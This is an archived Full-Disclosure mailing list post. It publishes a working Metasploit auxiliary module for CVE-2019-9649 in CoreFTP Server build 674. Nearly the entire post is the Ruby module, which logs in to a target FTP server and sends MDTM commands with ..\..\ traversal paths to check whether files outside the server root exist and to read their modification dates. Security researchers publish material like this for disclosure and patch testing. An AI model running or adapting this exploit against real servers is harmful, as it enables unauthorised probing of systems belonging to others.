lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Wed, 21 Aug 2019 18:48:09 -0400
From: Kevin R <krandall2013@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] CoreFTP Server FTP / SFTP Server v2 - Build 674 MDTM Directory
 Traversal (Metasploit) Exploit

# Exploit Title: CoreFTP Server FTP / SFTP Server v2 - Build 674  MDTM
Directory Traversal (Metasploit)
# Google Dork: N/A
# Date: 8/21/2019
# Exploit Author: Kevin Randall
# Vendor Homepage: https://www.coreftp.com
# Software Link: http://www.coreftp.com/server/index.html
# Version: Firmware: CoreFTP Server FTP / SFTP Server v2 - Build 674
# Tested on: Windows 7 and Windows XP
# CVE : CVE-2019-9649

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Ftp
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  def proto
     'ftp'
  end
  def initialize
    super(
      'Name' => 'CVE-2019-9649 CoreFTP FTP Server Version 674 and below
MDTM Directory Traversal',
      'Description' => %q{An issue was discovered in the SFTP Server
component in Core FTP 2.0 Build 674. Using the MDTM FTP command, a remote
attacker can use a directory traversal (..\..\) to browse outside the root
directory to determine the existence of a file on the operating system, and
the last mofidied date.},
      'Author' => [ 'Kevin Randall' ],
      'License' => MSF_LICENSE,
      'References' =>
        [
           [ 'CVE', '2019-9649' ],
           [ 'BID', '107449' ],
           [ 'URL', '
https://www.coreftp.com/forums/viewtopic.php?f=15&t=4022509' ]
        ],
       'Disclosure Date:' =>  'March 13 2019'
    )
    register_options([
      Opt::RPORT(21),
      OptString.new('FILENAME', [true, "Name of file to search on remote
server", 'nslookup.exe'] ),
      OptString.new('PATHTRAVERSAL', [true, "Traversal path Note: Default
Drive used is C: ", "\\..\\..\\..\\..\\"] ),
      OptString.new('PATHTOFILE', [ true, 'local filepath to the specified
file. Please add double slashes for escaping', 'Windows\\System32\\'] )
    ])
  end
    def run_host(ip)
     print_status("Logging into FTP server now with supplied credentials")
     c = connect_login
     return if not c
     print_status("Performing exploitation of the MDTM command to enumerate
files")
     path = datastore['PATHTRAVERSAL'] + datastore['PATHTOFILE'] + "\\" +
datastore['FILENAME']
     res = send_cmd( ['MDTM', "C: ", path ], true, nsock = self.sock)
     data = res.to_s
     print_status("Performing analysis.... Please wait")
     if (data.include? "213" )
             print_good ("And the circle hits the square!")
             print_good ("File Exists. Here is the last modified date for
the file:"+ data[4..-1])
       return res
     else
             print_error("Mission Failed We'll get them next time!")
             print_error ("Something went wrong or the file does not exist.
Please check your variables PATHTRAVERSAL and PATHTOFILE (please escape
double backslash) or verify file extension as it may be incorrect")
       return res
     end
   end
 end

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists